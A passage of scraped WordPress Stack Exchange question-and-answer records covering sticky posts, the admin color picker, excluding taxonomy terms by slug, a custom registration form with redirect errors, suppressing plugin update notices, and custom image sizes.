"text": "<pre><code>add_action('save_post', 'mo_make_it_sticky_if_role');\nfunction mo_make_it_sticky_if_role( $post_id ) {\n if( current_user_can('author') ) {\n stick_post( $post_id );\n }\n}\n</code></pre>\n\n<p>If the user has user role <em>author</em> and he creates a new post then it gets sticky as default even if he uses somecind of fron-end post creator.<br>\nIt will only work if the <em>author</em> makes a new post.<br>\nHis old posts which he created before this function was added will not get sticky.</p>\n"
}
]
| 2018/05/23 | [
"https://wordpress.stackexchange.com/questions/304277",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/144158/"
]
| i have created my own theme for my woocommerce store i'm facing a layout issue in the checkout page, after debugging in chrome tools somehow i find out that the default main div is set to col-1 and if i were to edit it to col-12 that would fix the issue here however i'm using shortcode to use the woocommerce checkout functionality so i dont really have checkout page file and so not able to edit/override the checkout page so please if anyone can help me on how to set the default div from col-1 to be col-12 would be much appreciable.
Thanks.
[](https://i.stack.imgur.com/8HE7s.png) | ```
add_action('save_post', 'mo_make_it_sticky_if_role');
function mo_make_it_sticky_if_role( $post_id ) {
if( current_user_can('author') ) {
stick_post( $post_id );
}
}
```
If the user has user role *author* and he creates a new post then it gets sticky as default even if he uses somecind of fron-end post creator.
It will only work if the *author* makes a new post.
His old posts which he created before this function was added will not get sticky. |
304,285 | <p>I'm having difficulty implementing the color picker exactly the same as WordPress in my plugin.</p>
<p>Is there any official wordpress documentation on how to use this feature?</p>
| [
{
"answer_id": 304286,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 5,
"selected": true,
"text": "<p>Yes, there is: <a href=\"https://make.wordpress.org/core/2012/11/30/new-color-picker-in-wp-3-5/\" rel=\"noreferrer\">https://make.wordpress.org/core/2012/11/30/new-color-picker-in-wp-3-5/</a></p>\n\n<h2>1. You should enqueue scripts and styles...</h2>\n\n<pre><code>add_action( 'admin_enqueue_scripts', 'mw_enqueue_color_picker' );\nfunction mw_enqueue_color_picker( $hook_suffix ) {\n // first check that $hook_suffix is appropriate for your admin page\n wp_enqueue_style( 'wp-color-picker' );\n wp_enqueue_script( 'my-script-handle', plugins_url('my-script.js', __FILE__ ), array( 'wp-color-picker' ), false, true );\n}\n</code></pre>\n\n<h2>2. ... add an input...</h2>\n\n<pre><code><input type=\"text\" value=\"#bada55\" class=\"my-color-field\" data-default-color=\"#effeff\" />\n</code></pre>\n\n<h2>3. ... and call wpColorPicker function</h2>\n\n<pre><code>jQuery(document).ready(function($){\n $('.my-color-field').wpColorPicker();\n});\n</code></pre>\n"
},
{
"answer_id": 355259,
"author": "csehasib",
"author_id": 54154,
"author_profile": "https://wordpress.stackexchange.com/users/54154",
"pm_score": 0,
"selected": false,
"text": "<p>We need to wp_enqueue_script the script and wp_enqueue_style the style with add_action to the functions.php file. Just include a jQuery file and stylesheet file by this script.</p>\n\n<pre><code>// Register Scripts &amp; Styles in Admin panel\nfunction custom_color_picker_scripts() {\nwp_enqueue_style( 'wp-color-picker' );\nwp_enqueue_script( 'iris', admin_url( 'js/iris.min.js' ), array( 'jquery-ui-draggable', 'jquery-ui-slider', 'jquery-touch-punch' ), false, 1 );\nwp_enqueue_script( 'cp-active', plugins_url('/js/cp-active.js', __FILE__), array('jquery'), '', true );\n\n}\nadd_action( 'admin_enqueue_scripts', custom_color_picker_scripts);\n</code></pre>\n\n<p>Now create a new javascript file as like cp-active.js and keep it avobe defined “/js/cp-active.js” file path using bellows code.</p>\n\n<pre><code>jQuery('.color-picker').iris({\n// or in the data-default-color attribute on the input\ndefaultColor: true,\n// a callback to fire whenever the color changes to a valid color\nchange: function(event, ui){},\n// a callback to fire when the input is emptied or an invalid color\nclear: function() {},\n// hide the color picker controls on load\nhide: true,\n// show a group of common colors beneath the square\npalettes: true\n});\n</code></pre>\n\n<p>Add a textbox to your settings page with a CSS class for the color picker, where you want to dispaly the input text. I have use “color_code” for input $variable.</p>\n\n<pre><code><input id=\"color_code\" class=\"color-picker\" name=\"color_code\" type=\"text\" value=\"\" />\n</code></pre>\n\n<p>Please see more details on <a href=\"https://www.e2softsolution.com/jquery-color-picker-wordpress/\" rel=\"nofollow noreferrer\">Add jQuery Color Picker WordPress Theme or Plugin</a></p>\n"
}
]
| 2018/05/23 | [
"https://wordpress.stackexchange.com/questions/304285",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143171/"
]
| I'm having difficulty implementing the color picker exactly the same as WordPress in my plugin.
Is there any official wordpress documentation on how to use this feature? | Yes, there is: <https://make.wordpress.org/core/2012/11/30/new-color-picker-in-wp-3-5/>
1. You should enqueue scripts and styles...
-------------------------------------------
```
add_action( 'admin_enqueue_scripts', 'mw_enqueue_color_picker' );
function mw_enqueue_color_picker( $hook_suffix ) {
// first check that $hook_suffix is appropriate for your admin page
wp_enqueue_style( 'wp-color-picker' );
wp_enqueue_script( 'my-script-handle', plugins_url('my-script.js', __FILE__ ), array( 'wp-color-picker' ), false, true );
}
```
2. ... add an input...
----------------------
```
<input type="text" value="#bada55" class="my-color-field" data-default-color="#effeff" />
```
3. ... and call wpColorPicker function
--------------------------------------
```
jQuery(document).ready(function($){
$('.my-color-field').wpColorPicker();
});
``` |
304,358 | <p>I have a custom taxonomy "role" for my custom post type "People". </p>
<p>When listing the roles, is there a way to exclude roles based on slug and not ID via <code>get_terms</code> function? </p>
<p>I ask because I'm running a multisite and a few websites have the same IDs as the ones I'd like to exclude.</p>
<p>Right now I have:</p>
<pre><code><?php
$roles = get_terms(
'role', array(
'orderby' => 'ID',
'order' => 'ASC',
'hide_empty' => true,
'exclude' => array('58', '63', '833'),
));
$count_roles = count($roles);
if ( $count_roles > 0 ) : ?>
//do stuff
<?php endif;?>
</code></pre>
<p>The slugs I'd like to exclude are: <code>'slug' => ['graduate', 'job-market-candidate', 'graduate-student','research']</code>, but I don't know where to fit this line, if anywhere.</p>
<p>Any help is appreciated!</p>
| [
{
"answer_id": 304360,
"author": "Pabamato",
"author_id": 60079,
"author_profile": "https://wordpress.stackexchange.com/users/60079",
"pm_score": 4,
"selected": true,
"text": "<p>The <code>get_terms()</code> (<a href=\"https://developer.wordpress.org/reference/functions/get_terms/\" rel=\"noreferrer\">see docs</a>) function accepts the same args as <code>WP_Term_Query</code>(<a href=\"https://developer.wordpress.org/reference/classes/wp_term_query/__construct/\" rel=\"noreferrer\">see docs</a>)<br>\nYou have to get those terms Ids first and then pass it to the <code>exclude</code> arg:</p>\n\n<pre><code>// default to not exclude terms\n$ids_to_exclude = array();\n$get_terms_to_exclude = get_terms(\n array(\n 'fields' => 'ids',\n 'slug' => array( \n 'graduate', \n 'job-market-candidate', \n 'graduate-student',\n 'research' ),\n 'taxonomy' => 'role',\n )\n);\nif( !is_wp_error( $get_terms_to_exclude ) && count($get_terms_to_exclude) > 0){\n $ids_to_exclude = $get_terms_to_exclude; \n}\n$roles = get_terms(\n array(\n 'orderby' => 'ID',\n 'order' => 'ASC',\n 'hide_empty' => true,\n 'exclude' => $ids_to_exclude,\n 'taxonomy' => 'role',\n )\n);\n\n$count_roles = count($roles);\n\nif ( $count_roles > 0 ) : ?>\n //do stuff\n<?php endif;?>\n</code></pre>\n"
},
{
"answer_id": 304361,
"author": "Jacob Peattie",
"author_id": 39152,
"author_profile": "https://wordpress.stackexchange.com/users/39152",
"pm_score": 2,
"selected": false,
"text": "<p>There's no option to exclude by slug in <code>get_terms()</code>. You'll need to get the IDs of the terms you want based on their slug, <em>then</em> exclude those IDs, as in Pabamato's answer.</p>\n\n<p>But you'll probably have better performance just skipping over them on output, rather that slowing down the query with the <code>exclude</code>, or making additional queries.</p>\n\n<pre><code>$count_roles = count( $roles );\n\nif ( $count_roles > 0 ) :\n $exclude = ['graduate', 'job-market-candidate', 'graduate-student','research'];\n\n foreach ( $roles as $role ) {\n if ( ! in_array( $role->slug, $exclude ) ) {\n continue;\n }\n\n // Do stuff.\n }\nendif;\n</code></pre>\n\n<p>Or you could remove the relevant terms from the result set after retrieving them by using <a href=\"http://php.net/manual/en/function.array-filter.php\" rel=\"nofollow noreferrer\"><code>array_filter()</code></a>, then proceed as normal.</p>\n\n<pre><code>$exclude = ['graduate', 'job-market-candidate', 'graduate-student','research'];\n\n$roles = get_terms( array(\n 'taxonomy' => 'role',\n 'orderby' => 'ID',\n 'order' => 'ASC',\n 'hide_empty' => true,\n) );\n\n$roles = array_filter( $roles, function( $role ) {\n return in_array( $role->slug, $exclude ) ? false : true;\n} );\n\n$count_roles = count( $roles );\n</code></pre>\n"
}
]
| 2018/05/24 | [
"https://wordpress.stackexchange.com/questions/304358",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/54745/"
]
| I have a custom taxonomy "role" for my custom post type "People".
When listing the roles, is there a way to exclude roles based on slug and not ID via `get_terms` function?
I ask because I'm running a multisite and a few websites have the same IDs as the ones I'd like to exclude.
Right now I have:
```
<?php
$roles = get_terms(
'role', array(
'orderby' => 'ID',
'order' => 'ASC',
'hide_empty' => true,
'exclude' => array('58', '63', '833'),
));
$count_roles = count($roles);
if ( $count_roles > 0 ) : ?>
//do stuff
<?php endif;?>
```
The slugs I'd like to exclude are: `'slug' => ['graduate', 'job-market-candidate', 'graduate-student','research']`, but I don't know where to fit this line, if anywhere.
Any help is appreciated! | The `get_terms()` ([see docs](https://developer.wordpress.org/reference/functions/get_terms/)) function accepts the same args as `WP_Term_Query`([see docs](https://developer.wordpress.org/reference/classes/wp_term_query/__construct/))
You have to get those terms Ids first and then pass it to the `exclude` arg:
```
// default to not exclude terms
$ids_to_exclude = array();
$get_terms_to_exclude = get_terms(
array(
'fields' => 'ids',
'slug' => array(
'graduate',
'job-market-candidate',
'graduate-student',
'research' ),
'taxonomy' => 'role',
)
);
if( !is_wp_error( $get_terms_to_exclude ) && count($get_terms_to_exclude) > 0){
$ids_to_exclude = $get_terms_to_exclude;
}
$roles = get_terms(
array(
'orderby' => 'ID',
'order' => 'ASC',
'hide_empty' => true,
'exclude' => $ids_to_exclude,
'taxonomy' => 'role',
)
);
$count_roles = count($roles);
if ( $count_roles > 0 ) : ?>
//do stuff
<?php endif;?>
``` |
304,401 | <p>Until now I was able to create the "Custom Register Form" on my Wordpress website, and send an activation mail to the registered user with the link for the activation.</p>
<p>What I want to do is soon after the registration process, the user is redirected to a "Thank you" page. But when i add to the code the wp_redirect(); it gives the error of "<strong>Cannot modify header information - headers already sent by...</strong>"</p>
<p>Below is the code for the "Custom Register Form"</p>
<pre><code> <?php
/*
Template Name: Register Page
*/
?>
<?php wp_head(); the_post(); ?>
<div class="half-d" id="account-log">
<form method="post">
<label class="reg-form-lab p-label">Last Name</label>
<input type="text" value="" name="last_name" id="last_name" class="reg-form-inp"/>
<label class="reg-form-lab">First Name</label>
<input type="text" value="" name="first_name" id="first_name" class="reg-form-inp"/>
<label class="reg-form-lab p-label">Email</label>
<input type="text" value="" name="email" id="email" class="reg-form-inp"/>
<label class="reg-form-lab p-label">Username</label>
<input type="text" value="" name="username" id="username" class="reg-form-inp"/>
<label class="reg-form-lab p-label">Password</label>
<input type="password" value="" name="pwd1" id="pwd1" class="reg-form-inp"/>
<label class="reg-form-lab p-label">Password again</label>
<input type="password" value="" name="pwd2" id="pwd2" class="reg-form-inp"/>
<div class="alignleft"><p><?php if($sucess != "") { echo $sucess; } ?> <?php if($err != "") { echo $err; } ?></p></div>
<button type="submit" name="btnregister" class="button" id="wp-submit" >Submit</button>
<input type="hidden" name="task" value="register" />
</form>
</div>
<div class="half-d" id="social-log">
<p class="new-acc" id="iscr"><a href="https://mywebpage/login">Sign in</a></p>
</div>
<?php
$err = '';
$success = '';
global $wpdb, $PasswordHash, $current_user, $user_ID;
if(isset($_POST['task']) && $_POST['task'] == 'register' ) {
$pwd1 = $wpdb->escape(trim($_POST['pwd1']));
$pwd2 = $wpdb->escape(trim($_POST['pwd2']));
$first_name = $wpdb->escape(trim($_POST['first_name']));
$last_name = $wpdb->escape(trim($_POST['last_name']));
$email = $wpdb->escape(trim($_POST['email']));
$username = $wpdb->escape(trim($_POST['username']));
if( $email == "" || $pwd1 == "" || $pwd2 == "" || $username == "" || $first_name == "" || $last_name == "") {
$err = 'Please don\'t leave the required fields.';
} else if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$err = 'Invalid email address.';
} else if(email_exists($email) ) {
$err = 'Email already exist.';
} else if($pwd1 <> $pwd2 ){
$err = 'Password do not match.';
} else {
$user_id = wp_insert_user( array ('first_name' => apply_filters('pre_user_first_name', $first_name), 'last_name' => apply_filters('pre_user_last_name', $last_name), 'user_pass' => apply_filters('pre_user_user_pass', $pwd1), 'user_login' => apply_filters('pre_user_user_login', $username), 'user_email' => apply_filters('pre_user_user_email', $email), 'role' => 'subscriber' ) );
if( is_wp_error($user_id) ) {
$err = 'Error on user creation.';
} else {
do_action('user_register', $user_id);
$success = 'You\'re successfully register';
}
}
//wp_redirect('xxxxxxxxxxxxxxxxxx');
}
?>
</code></pre>
<p>And the code that I insert into functions.php file in order to send the activation email is below:</p>
<pre><code>add_action( 'user_register', 'actuser_user_register' );
function actuser_user_register( $user_id ) {
$user = get_user_by('id',$user_id);
$user_email = stripslashes($user->user_email);
$code = sha1( $user_id . time() );
update_user_meta( $user_id, 'activation_key', $code );
update_user_meta( $user_id, 'activation_flag', 0 );
$activation_link = add_query_arg( array( 'key' => $code, 'user' => $user_id ), get_permalink($id));
$firstName = get_user_meta($user->ID, "first_name", true);
$lastName = get_user_meta($user->ID, "last_name", true);
$to = $user_email;
$subject = 'Activation Required';
$message = 'xxxxxxxxxxxxxxx';
wp_mail( $to, $subject, $message);
//wp_redirect('xxxxxxxxxx');
}
</code></pre>
| [
{
"answer_id": 304360,
"author": "Pabamato",
"author_id": 60079,
"author_profile": "https://wordpress.stackexchange.com/users/60079",
"pm_score": 4,
"selected": true,
"text": "<p>The <code>get_terms()</code> (<a href=\"https://developer.wordpress.org/reference/functions/get_terms/\" rel=\"noreferrer\">see docs</a>) function accepts the same args as <code>WP_Term_Query</code>(<a href=\"https://developer.wordpress.org/reference/classes/wp_term_query/__construct/\" rel=\"noreferrer\">see docs</a>)<br>\nYou have to get those terms Ids first and then pass it to the <code>exclude</code> arg:</p>\n\n<pre><code>// default to not exclude terms\n$ids_to_exclude = array();\n$get_terms_to_exclude = get_terms(\n array(\n 'fields' => 'ids',\n 'slug' => array( \n 'graduate', \n 'job-market-candidate', \n 'graduate-student',\n 'research' ),\n 'taxonomy' => 'role',\n )\n);\nif( !is_wp_error( $get_terms_to_exclude ) && count($get_terms_to_exclude) > 0){\n $ids_to_exclude = $get_terms_to_exclude; \n}\n$roles = get_terms(\n array(\n 'orderby' => 'ID',\n 'order' => 'ASC',\n 'hide_empty' => true,\n 'exclude' => $ids_to_exclude,\n 'taxonomy' => 'role',\n )\n);\n\n$count_roles = count($roles);\n\nif ( $count_roles > 0 ) : ?>\n //do stuff\n<?php endif;?>\n</code></pre>\n"
},
{
"answer_id": 304361,
"author": "Jacob Peattie",
"author_id": 39152,
"author_profile": "https://wordpress.stackexchange.com/users/39152",
"pm_score": 2,
"selected": false,
"text": "<p>There's no option to exclude by slug in <code>get_terms()</code>. You'll need to get the IDs of the terms you want based on their slug, <em>then</em> exclude those IDs, as in Pabamato's answer.</p>\n\n<p>But you'll probably have better performance just skipping over them on output, rather that slowing down the query with the <code>exclude</code>, or making additional queries.</p>\n\n<pre><code>$count_roles = count( $roles );\n\nif ( $count_roles > 0 ) :\n $exclude = ['graduate', 'job-market-candidate', 'graduate-student','research'];\n\n foreach ( $roles as $role ) {\n if ( ! in_array( $role->slug, $exclude ) ) {\n continue;\n }\n\n // Do stuff.\n }\nendif;\n</code></pre>\n\n<p>Or you could remove the relevant terms from the result set after retrieving them by using <a href=\"http://php.net/manual/en/function.array-filter.php\" rel=\"nofollow noreferrer\"><code>array_filter()</code></a>, then proceed as normal.</p>\n\n<pre><code>$exclude = ['graduate', 'job-market-candidate', 'graduate-student','research'];\n\n$roles = get_terms( array(\n 'taxonomy' => 'role',\n 'orderby' => 'ID',\n 'order' => 'ASC',\n 'hide_empty' => true,\n) );\n\n$roles = array_filter( $roles, function( $role ) {\n return in_array( $role->slug, $exclude ) ? false : true;\n} );\n\n$count_roles = count( $roles );\n</code></pre>\n"
}
]
| 2018/05/25 | [
"https://wordpress.stackexchange.com/questions/304401",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/106074/"
]
| Until now I was able to create the "Custom Register Form" on my Wordpress website, and send an activation mail to the registered user with the link for the activation.
What I want to do is soon after the registration process, the user is redirected to a "Thank you" page. But when i add to the code the wp\_redirect(); it gives the error of "**Cannot modify header information - headers already sent by...**"
Below is the code for the "Custom Register Form"
```
<?php
/*
Template Name: Register Page
*/
?>
<?php wp_head(); the_post(); ?>
<div class="half-d" id="account-log">
<form method="post">
<label class="reg-form-lab p-label">Last Name</label>
<input type="text" value="" name="last_name" id="last_name" class="reg-form-inp"/>
<label class="reg-form-lab">First Name</label>
<input type="text" value="" name="first_name" id="first_name" class="reg-form-inp"/>
<label class="reg-form-lab p-label">Email</label>
<input type="text" value="" name="email" id="email" class="reg-form-inp"/>
<label class="reg-form-lab p-label">Username</label>
<input type="text" value="" name="username" id="username" class="reg-form-inp"/>
<label class="reg-form-lab p-label">Password</label>
<input type="password" value="" name="pwd1" id="pwd1" class="reg-form-inp"/>
<label class="reg-form-lab p-label">Password again</label>
<input type="password" value="" name="pwd2" id="pwd2" class="reg-form-inp"/>
<div class="alignleft"><p><?php if($sucess != "") { echo $sucess; } ?> <?php if($err != "") { echo $err; } ?></p></div>
<button type="submit" name="btnregister" class="button" id="wp-submit" >Submit</button>
<input type="hidden" name="task" value="register" />
</form>
</div>
<div class="half-d" id="social-log">
<p class="new-acc" id="iscr"><a href="https://mywebpage/login">Sign in</a></p>
</div>
<?php
$err = '';
$success = '';
global $wpdb, $PasswordHash, $current_user, $user_ID;
if(isset($_POST['task']) && $_POST['task'] == 'register' ) {
$pwd1 = $wpdb->escape(trim($_POST['pwd1']));
$pwd2 = $wpdb->escape(trim($_POST['pwd2']));
$first_name = $wpdb->escape(trim($_POST['first_name']));
$last_name = $wpdb->escape(trim($_POST['last_name']));
$email = $wpdb->escape(trim($_POST['email']));
$username = $wpdb->escape(trim($_POST['username']));
if( $email == "" || $pwd1 == "" || $pwd2 == "" || $username == "" || $first_name == "" || $last_name == "") {
$err = 'Please don\'t leave the required fields.';
} else if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$err = 'Invalid email address.';
} else if(email_exists($email) ) {
$err = 'Email already exist.';
} else if($pwd1 <> $pwd2 ){
$err = 'Password do not match.';
} else {
$user_id = wp_insert_user( array ('first_name' => apply_filters('pre_user_first_name', $first_name), 'last_name' => apply_filters('pre_user_last_name', $last_name), 'user_pass' => apply_filters('pre_user_user_pass', $pwd1), 'user_login' => apply_filters('pre_user_user_login', $username), 'user_email' => apply_filters('pre_user_user_email', $email), 'role' => 'subscriber' ) );
if( is_wp_error($user_id) ) {
$err = 'Error on user creation.';
} else {
do_action('user_register', $user_id);
$success = 'You\'re successfully register';
}
}
//wp_redirect('xxxxxxxxxxxxxxxxxx');
}
?>
```
And the code that I insert into functions.php file in order to send the activation email is below:
```
add_action( 'user_register', 'actuser_user_register' );
function actuser_user_register( $user_id ) {
$user = get_user_by('id',$user_id);
$user_email = stripslashes($user->user_email);
$code = sha1( $user_id . time() );
update_user_meta( $user_id, 'activation_key', $code );
update_user_meta( $user_id, 'activation_flag', 0 );
$activation_link = add_query_arg( array( 'key' => $code, 'user' => $user_id ), get_permalink($id));
$firstName = get_user_meta($user->ID, "first_name", true);
$lastName = get_user_meta($user->ID, "last_name", true);
$to = $user_email;
$subject = 'Activation Required';
$message = 'xxxxxxxxxxxxxxx';
wp_mail( $to, $subject, $message);
//wp_redirect('xxxxxxxxxx');
}
``` | The `get_terms()` ([see docs](https://developer.wordpress.org/reference/functions/get_terms/)) function accepts the same args as `WP_Term_Query`([see docs](https://developer.wordpress.org/reference/classes/wp_term_query/__construct/))
You have to get those terms Ids first and then pass it to the `exclude` arg:
```
// default to not exclude terms
$ids_to_exclude = array();
$get_terms_to_exclude = get_terms(
array(
'fields' => 'ids',
'slug' => array(
'graduate',
'job-market-candidate',
'graduate-student',
'research' ),
'taxonomy' => 'role',
)
);
if( !is_wp_error( $get_terms_to_exclude ) && count($get_terms_to_exclude) > 0){
$ids_to_exclude = $get_terms_to_exclude;
}
$roles = get_terms(
array(
'orderby' => 'ID',
'order' => 'ASC',
'hide_empty' => true,
'exclude' => $ids_to_exclude,
'taxonomy' => 'role',
)
);
$count_roles = count($roles);
if ( $count_roles > 0 ) : ?>
//do stuff
<?php endif;?>
``` |
304,410 | <p>I made some custom modifications to a plugin. When we get a notice that there is an official upgrade for this plugin in WP, a dev needs to manually do the upgrade because the changed files have to be integrated with the new version.</p>
<p>We don't want a staff member to accidentally click the upgrade button on this plugin while going through a series of upgrades.</p>
<p>However, we still want to see the upgrade notification, so that a dev can schedule the update. So increasing the version number in the header to some really high value is not a solution, because it blocks that visibility.</p>
<p>How can I block WP from being able to upgrade and the plugin still be valid?</p>
| [
{
"answer_id": 304414,
"author": "Core972",
"author_id": 103816,
"author_profile": "https://wordpress.stackexchange.com/users/103816",
"pm_score": 1,
"selected": false,
"text": "<p>In the file <code>functions.php</code> of the active theme add this lines</p>\n\n<pre><code>function filter_plugin_updates( $value ) {\n unset( $value->response['path_to_plugin/plugin_name.php'] ); // one plugin by line\n}\n\nadd_filter( 'site_transient_update_plugins', 'filter_plugin_updates' );\n</code></pre>\n\n<p><em>This will completly hide update requirement. You will have to check yourself if there is an update available by commentating the code.</em></p>\n"
},
{
"answer_id": 304417,
"author": "Andrea Somovigo",
"author_id": 64435,
"author_profile": "https://wordpress.stackexchange.com/users/64435",
"pm_score": 1,
"selected": false,
"text": "<p>The answer of @Core92 is correct, except that throws a warning when enabling/disabling other plugins\nso better:</p>\n\n<pre><code>function filter_plugin_updates( $value ) {\n $toAvoid='path_to_plugin/plugin_name.php';\n if( isset( $value->response[$toAvoid]) )\n unset( $value->response[$toAvoid] );\n return $value;\n}\nadd_filter( 'site_transient_update_plugins', 'filter_plugin_updates' );\n</code></pre>\n"
},
{
"answer_id": 304419,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 2,
"selected": true,
"text": "<p>First of all... It is a really bad idea to modify existing plugin.</p>\n\n<p>But if you really have to do this, then you can hide update link with this code (this one works for Yoast SEO):</p>\n\n<pre><code>function remove_update_notification_link($value) {\n if ( array_key_exists('wordpress-seo/wp-seo.php', $value->response) ) {\n $value->response[ 'wordpress-seo/wp-seo.php' ]->package = '';\n }\n return $value;\n}\nadd_filter('site_transient_update_plugins', 'remove_update_notification_link');\n</code></pre>\n\n<p>The notice will be shown, but instead of the link to update there will be info: \"Automatic update is unavailable for this plugin.\"</p>\n\n<p>If you put this code right in the plugin, then you can use more automatic way:</p>\n\n<pre><code>function remove_update_notification_link($value) {\n if ( array_key_exists(plugin_basename(__FILE__), $value->response) ) {\n $value->response[ plugin_basename(__FILE__) ]->package = '';\n }\n\n return $value;\n} \nadd_filter('site_transient_update_plugins', 'remove_update_notification_link');\n</code></pre>\n"
},
{
"answer_id": 304777,
"author": "Ray Gulick",
"author_id": 30,
"author_profile": "https://wordpress.stackexchange.com/users/30",
"pm_score": -1,
"selected": false,
"text": "<p>There is a plugin that allows you to choose which plugins you don't want to receive update notices for: </p>\n\n<p>Block Plugin Update\n<a href=\"https://wordpress.org/plugins/block-specific-plugin-updates/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/block-specific-plugin-updates/</a></p>\n\n<p>It has not been updated for a while, but I can tell you it works fine with the current version of WP (4.9.6)</p>\n"
}
]
| 2018/05/25 | [
"https://wordpress.stackexchange.com/questions/304410",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142845/"
]
| I made some custom modifications to a plugin. When we get a notice that there is an official upgrade for this plugin in WP, a dev needs to manually do the upgrade because the changed files have to be integrated with the new version.
We don't want a staff member to accidentally click the upgrade button on this plugin while going through a series of upgrades.
However, we still want to see the upgrade notification, so that a dev can schedule the update. So increasing the version number in the header to some really high value is not a solution, because it blocks that visibility.
How can I block WP from being able to upgrade and the plugin still be valid? | First of all... It is a really bad idea to modify existing plugin.
But if you really have to do this, then you can hide update link with this code (this one works for Yoast SEO):
```
function remove_update_notification_link($value) {
if ( array_key_exists('wordpress-seo/wp-seo.php', $value->response) ) {
$value->response[ 'wordpress-seo/wp-seo.php' ]->package = '';
}
return $value;
}
add_filter('site_transient_update_plugins', 'remove_update_notification_link');
```
The notice will be shown, but instead of the link to update there will be info: "Automatic update is unavailable for this plugin."
If you put this code right in the plugin, then you can use more automatic way:
```
function remove_update_notification_link($value) {
if ( array_key_exists(plugin_basename(__FILE__), $value->response) ) {
$value->response[ plugin_basename(__FILE__) ]->package = '';
}
return $value;
}
add_filter('site_transient_update_plugins', 'remove_update_notification_link');
``` |
304,423 | <p>Would it be possible to be able to select the image sizes you want to be uploaded when you upload an image?</p>
<p>E.g., I have these image sizes:</p>
<pre><code> // Set Media Sizes
set_post_thumbnail_size( 864, 486, true ); // 864 pixels wide by 486 pixels tall, crop from the center
add_image_size( 'klein', 300, 169, true); // 300 pixels wide by 169 pixels tall, crop from the center
add_image_size( 'smartphone', 640, 360, true); // 640 pixels wide by 360 pixels tall, crop from the center
add_image_size( 'thumbnail-normal', 864, 9999); // 864 pixels wide and unlimited height
add_image_size( 'database-thumbnail-small', 640, 117, true); // 640 pixels wide by 117 pixels tall, crop from the center
add_image_size( 'database-thumbnail-normal', 1366, 249, true); // 1366 pixels wide by 768 pixels tall, crop from the center
add_image_size( 'database-thumbnail-big', 1920, 350, true ); // 1920 pixels wide by 350 pixels tall, crop from the center
</code></pre>
<p>When I upload an image in the Media Uploader I would like to be able to select the image sizes I want that image to be actally uploaded in. Since I don't need all image sizes for every image, but I do need to use every image size on my website. And this will take up a lot af unnecessary space.</p>
| [
{
"answer_id": 304414,
"author": "Core972",
"author_id": 103816,
"author_profile": "https://wordpress.stackexchange.com/users/103816",
"pm_score": 1,
"selected": false,
"text": "<p>In the file <code>functions.php</code> of the active theme add this lines</p>\n\n<pre><code>function filter_plugin_updates( $value ) {\n unset( $value->response['path_to_plugin/plugin_name.php'] ); // one plugin by line\n}\n\nadd_filter( 'site_transient_update_plugins', 'filter_plugin_updates' );\n</code></pre>\n\n<p><em>This will completly hide update requirement. You will have to check yourself if there is an update available by commentating the code.</em></p>\n"
},
{
"answer_id": 304417,
"author": "Andrea Somovigo",
"author_id": 64435,
"author_profile": "https://wordpress.stackexchange.com/users/64435",
"pm_score": 1,
"selected": false,
"text": "<p>The answer of @Core92 is correct, except that throws a warning when enabling/disabling other plugins\nso better:</p>\n\n<pre><code>function filter_plugin_updates( $value ) {\n $toAvoid='path_to_plugin/plugin_name.php';\n if( isset( $value->response[$toAvoid]) )\n unset( $value->response[$toAvoid] );\n return $value;\n}\nadd_filter( 'site_transient_update_plugins', 'filter_plugin_updates' );\n</code></pre>\n"
},
{
"answer_id": 304419,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 2,
"selected": true,
"text": "<p>First of all... It is a really bad idea to modify existing plugin.</p>\n\n<p>But if you really have to do this, then you can hide update link with this code (this one works for Yoast SEO):</p>\n\n<pre><code>function remove_update_notification_link($value) {\n if ( array_key_exists('wordpress-seo/wp-seo.php', $value->response) ) {\n $value->response[ 'wordpress-seo/wp-seo.php' ]->package = '';\n }\n return $value;\n}\nadd_filter('site_transient_update_plugins', 'remove_update_notification_link');\n</code></pre>\n\n<p>The notice will be shown, but instead of the link to update there will be info: \"Automatic update is unavailable for this plugin.\"</p>\n\n<p>If you put this code right in the plugin, then you can use more automatic way:</p>\n\n<pre><code>function remove_update_notification_link($value) {\n if ( array_key_exists(plugin_basename(__FILE__), $value->response) ) {\n $value->response[ plugin_basename(__FILE__) ]->package = '';\n }\n\n return $value;\n} \nadd_filter('site_transient_update_plugins', 'remove_update_notification_link');\n</code></pre>\n"
},
{
"answer_id": 304777,
"author": "Ray Gulick",
"author_id": 30,
"author_profile": "https://wordpress.stackexchange.com/users/30",
"pm_score": -1,
"selected": false,
"text": "<p>There is a plugin that allows you to choose which plugins you don't want to receive update notices for: </p>\n\n<p>Block Plugin Update\n<a href=\"https://wordpress.org/plugins/block-specific-plugin-updates/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/block-specific-plugin-updates/</a></p>\n\n<p>It has not been updated for a while, but I can tell you it works fine with the current version of WP (4.9.6)</p>\n"
}
]
| 2018/05/25 | [
"https://wordpress.stackexchange.com/questions/304423",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143298/"
]
| Would it be possible to be able to select the image sizes you want to be uploaded when you upload an image?
E.g., I have these image sizes:
```
// Set Media Sizes
set_post_thumbnail_size( 864, 486, true ); // 864 pixels wide by 486 pixels tall, crop from the center
add_image_size( 'klein', 300, 169, true); // 300 pixels wide by 169 pixels tall, crop from the center
add_image_size( 'smartphone', 640, 360, true); // 640 pixels wide by 360 pixels tall, crop from the center
add_image_size( 'thumbnail-normal', 864, 9999); // 864 pixels wide and unlimited height
add_image_size( 'database-thumbnail-small', 640, 117, true); // 640 pixels wide by 117 pixels tall, crop from the center
add_image_size( 'database-thumbnail-normal', 1366, 249, true); // 1366 pixels wide by 768 pixels tall, crop from the center
add_image_size( 'database-thumbnail-big', 1920, 350, true ); // 1920 pixels wide by 350 pixels tall, crop from the center
```
